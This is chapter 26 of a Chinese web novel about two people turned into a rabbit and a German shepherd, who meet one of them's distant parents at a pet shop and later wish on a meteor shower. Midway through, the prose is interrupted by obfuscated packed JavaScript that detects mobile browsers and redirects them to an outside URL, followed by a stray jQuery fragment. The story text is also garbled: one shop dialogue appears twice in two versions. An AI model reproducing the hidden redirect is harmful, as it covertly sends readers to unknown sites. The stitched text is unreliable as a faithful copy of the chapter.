26. 第 26 章
作品:《兔子今天听到暗恋心声了吗》 暴雨来得快,去得也快。
凌云在屋檐下等了没多久,雨声便渐渐停了,厚重的乌云散去,太阳竟探出头来。
这雨下得,简直跟耍人似的。
凌云只觉得身上黏腻腻的,瞬间有些抓狂。
方才摆烂的那股劲散了,深入骨髓的洁癖又卷土重来,浑身上下像有上百只虫子在爬,刺挠得厉害。
但现在说什么都没用了,方才莫名生出的火气,也像被风吹过一般消散殆尽,他懒得再跟陆见空置气。
可越想越烦躁,都是因为这家伙,自己才淋了一身雨。
于是凌云狠狠瞪了陆见空一眼,陆见空眨了眨眼,连忙收起笑嘻嘻的模样。
等见凌云的目光收回去,又忍不住弯起了眉眼,心声清晰地传到凌云耳中。
【他看我一眼,真好。】
凌云听得明明白白,却懒得再去深究,所有的追问都咽回了心底。
两个人之间的关系,在此刻彻底朦胧起来,他们到底算什么?
想不清楚,也暂时不敢想,他只知道,眼下最重要的事,是今晚的流星雨。
雨彻底停了,两人准备步行回宠物店。
城市的排水系统向来不算好,路面上还积着浅浅的一层水。
凌云朝前迈了一步,又嫌恶地慢慢退了回去。
陆见空瞧着,露出一抹笑。
【我背着你吧,你冒着雨来找我,自然该我背你。】
凌云毫不犹豫地答应了,不再抗拒陆见空的靠近与付出。
而陆见空,也满心欢喜着两人的贴近。
毕竟自从投奔柯岩后,他们就再没有这般亲近过。
白色的兔子趴在黑色大狗的背上,黑白相映,格外显眼,就像是煤球堆里突然落了一片雪。
远远的,柯岩骑着小电驴加快了速度,还特意避开积水的地方,生怕溅起几米高的水花。
凌云和陆见空默默等着他靠近,一声不吭,像极了两个知道自己闯了祸认错的孩子。
柯岩叹了口气,问:“和好了吧?”
兔子和德牧同时点了点头,对视一眼,才给出了最终的答复。
“好,那就快上车,我们回去。”
柯岩的小电驴载不下陆见空这条大狗,他索性给两人叫了一辆车,自己则骑着小电驴,慢悠悠地跟在后面。
等柯岩回到宠物店时,陆见空和凌云正乖乖地在门口等着他。
“好啦,进去吧。”
柯岩揉了揉两人的头,知道两人是心里愧疚了,又连忙催着,“快进去洗澡,万一感冒了就麻烦了。”
等两人进去后,柯岩便开始准备出发的东西,趁着雨停,他让店员们都先回家了。
这会儿天阴沉沉的,指不定又要下雨,店里也没什么顾客。
店员离开后,柯岩专心致志地给凌云和陆见空洗了澡,又把两人一起丢进烘干箱里。
等两人从烘干箱里出来,柯岩已经将其他宠物都关进了笼子,他回头锁好门。
“搞定,我们出发去民宿。”
叮铃——门口的门铃突然响了。
推门进来的是一对中年夫妻,女人身上带着淡淡的火锅味,男人身上则萦绕着医院的消毒水味,两人的手掌看着都不甚细腻。
“你好,我想问一下,给比格犬买什么狗粮比较好?”
女人先开了口,身旁的中年男人也跟着附和:“嗯,狗狗才一岁大。”
有客人上门,柯岩自然要先招待,想着处理完这单再出发,便耐心介绍起来。
“你们是想要稍贵一点的,还是平价一点的?贵一点的肉含量高,平价的会稍少些,不过这两种一岁的狗狗都能吃。”
男人闻言有些犹豫,女人咬了咬牙,“先要便宜一点的吧。”
男人却小声跟女人说:“你忘了,咱家孩子现在病已经治好了,不用再像过去那样省钱了。他既然想要小狗,就给他买好一点的。”
女人像是被提醒了,连忙道。
“唉,是是是,老精打细算都忘了这回事了。对了,顺便问问儿子吧。”
凌云瞧着不住后退,这两个人怎么会来到这里?
他们怎么会来这里?凌云心头一震,下意识后退半步。
陆见空察觉到他的异样,轻轻用脑袋点了点兔子的背,低声问道:“凌云,你怎么了?”
“那是我爸妈,”凌云的声音带着不易察觉的颤抖,“他们本该在老家C市给我弟弟治病,怎么会来B市?”
“什么?”
陆见空闻言,反应比凌云还要激烈,瞬间精神紧绷,连忙仔细打量着那对夫妻。
这可是他未来的岳父岳母,怎能不重视。
此时柯岩正耐心地给夫妻俩介绍狗粮品牌,丝毫没注意到这边的异样。
“你们是想要稍贵一点的,还是平价一点的?”柯岩指着货架上的狗粮,“贵的这款肉含量高,平价的肉含量稍低,但两种都适合一岁大的比格犬。”
中年男人面露犹豫,女人咬了咬牙,下定决心道:“先拿便宜点的吧。”
男人却拉了拉她的衣袖,小声提醒:“你忘了?咱家孩子的病已经治好了,不用再这么精打细算。他既然想要小狗,就给他买好点的。”
女人恍然大悟,拍了下额头:“唉,是是是,天天算着开销都忘了这回事。对了,不然问问儿子?”
陆见空悄悄凑了过去,就见男人拿出手机,对着狗粮拍了张照,发给了备注为宝贝儿子的人。
凌云的视力向来很好,此刻看得一清二楚。
男人退出聊天界面时,他瞥见了自己的备注,只有冰冷的凌云两个字,没有亲昵的称呼,不过是一个毫无温度的代号。
一瞬间,凌云像是被抽走了所有力气,眼眶阵阵发热,原本竖起的耳朵也蔫蔫地垂了下来。
他甚至开始怀疑,自己拼尽全力想要变回人,到底是为了什么?
弟弟从老家的医院转到他上学的B市,没有一个人告诉他。
这么久以来,家里也从未主动联系过他,两人的聊天记录,还停留在上一次他主动发起的视频通话。
真可笑。
凌云只觉得浑身脱力,连挣扎的力气都没有了。
他实在不想再看见父母,转身就跑进了休息室,蜷缩在角落,静静等着柯岩送走客人后出发。
陆见空沉默地站在原地,心底翻涌着复杂的情绪。
他终于懂了,为什么凌云说话总是带着疏离的直白,甚至偶尔透着尖锐。
一个从未被好好爱过的人,又怎么会懂得如何温柔地表达爱。
他知道凌云不是本地人,却从不清楚他的家庭情况,如今才明白,凌云的内心,藏着这样深的缺憾。
他们就像两块残缺不全的拼图,带着各自的遗憾凑到了一起。
陆见空沉了沉眼神,心底生出一个坚定的念头。
他要让这两块拼图完整契合。
夫妻俩买好狗粮,女人给小儿子凌雷发了条消息。
“儿子,我和你爸这就回去了……你想在这儿待着也可以,我们就当来旅游,先住一段时间再回家。”
“跟你哥说?他上学忙,不用跟他说。我和你爸这就把狗粮拿回去。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090620|194277||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
男人在一旁连连点头,丝毫没觉得这番话有什么不妥。
陆见空将一切看在眼里,没有贸然去打扰休息室里的凌云。
柯岩也始终没察觉,这对夫妻就是凌云的父母,送走他们后,立刻朝陆见空招手。
“快,我们出发,走高速上山去民宿。”
他回头一看,却只看见陆见空蹲在休息室门口,凌云的身影不见踪影。
瞧着陆见空连门都不敢敲的模样,柯岩原本带笑的脸瞬间沉了下来,伸手轻轻戳了戳他的脑袋:“你是不是又惹凌云生气了?”
陆见空眨了眨眼,先摇了摇头,又点了点头,模样有些无措。
柯岩看得一头雾水,但眼下不是纠结这个的时候,催促道。
“快去敲门,自己惹的麻烦自己解决。我去联系我爸妈,让他们帮忙盯着店里的监控。”
说完,柯岩转身去联系父母,将宠物店的监控连接到家人手机上,托付他们帮忙照看。
陆见空深吸一口气,鼓起勇气敲了敲休息室的门。
门很快被打开,凌云走了出来,眼尾还挂着未干的泪珠,脸颊也泛着红。
他刻意别过脸,不想让陆见空看见自己脆弱的模样,心底满是懊恼。
早知道就不哭了,再难也该忍住。
变成兔子后,连擦眼泪都这么麻烦,自己根本擦不干净。
陆见空没有多说什么,只是上前一步,轻轻将他揽进怀里,用柔软的皮毛蹭掉他眼下的泪珠。
他用脑袋蹭了蹭凌云的背,示意可以出发了。
柯岩选的民宿在周边的山上,距离市区不远,走高速只需一个多小时,下了高速后又开了半个小时,才终于抵达。这里风景清幽,柯岩提前打听好了情况,特意订了一间靠窗的宠物客房。
从窗户就能清晰看到夜空,方便两人观测流星雨,另外还订了一间自己住的房间。
到了民宿,柯岩很识趣地回了自己的房间,给两人留足了独处空间。
他还提前准备了一次性浴袍和换洗衣物,放在宠物客房里,万一两人真的变回来,也不至于没衣服穿。
房门关上,房间里瞬间安静下来,只剩下凌云和陆见空。
两人并肩趴在窗边,静静等待着流星雨的降临,安静得仿佛感受不到时间的流逝。
凌云的心脏砰砰直跳,紧张得手心发紧,只有墙上的时钟滴答作响。
天色彻底暗透,就在两人快要失去耐心时,陆见空突然低叫一声,心底的声音带着雀跃:“快看!”
凌云抬头望去,只见零星几颗流星划过夜空,和他们变身那晚的流星雨形状一模一样,只是没有当时那么密集。
他立刻闭上眼睛,在心底虔诚许愿。
我希望能变回人。
陆见空没有看流星,目光一直落在凌云身上,直到他闭上眼睛,才缓缓合上眼,心底只有一个心愿。
希望凌云实现自己的愿望。
十几秒后,凌云睁开眼,刚许完愿,就对上了陆见空那双明亮又专注的眼眸。
他正一瞬不瞬地看着自己。
“你,你看我干什么?”凌云罕见地结巴了,慌乱地跳上一旁准备好的狗窝。
民宿里没有兔子窝,他只能和陆见空挤在一起。
“想看你。”陆见空的心声清晰地传到凌云耳中。
凌云的身体瞬间僵住,连头都不敢回。
这是陆见空第一次见到凌云这般紧张无措的模样,也在这一刻忽然意识到,凌云习惯的直白表达竟如此有力量。
他想,自己似乎终于学会了,如何坦诚地说出心底的想法。

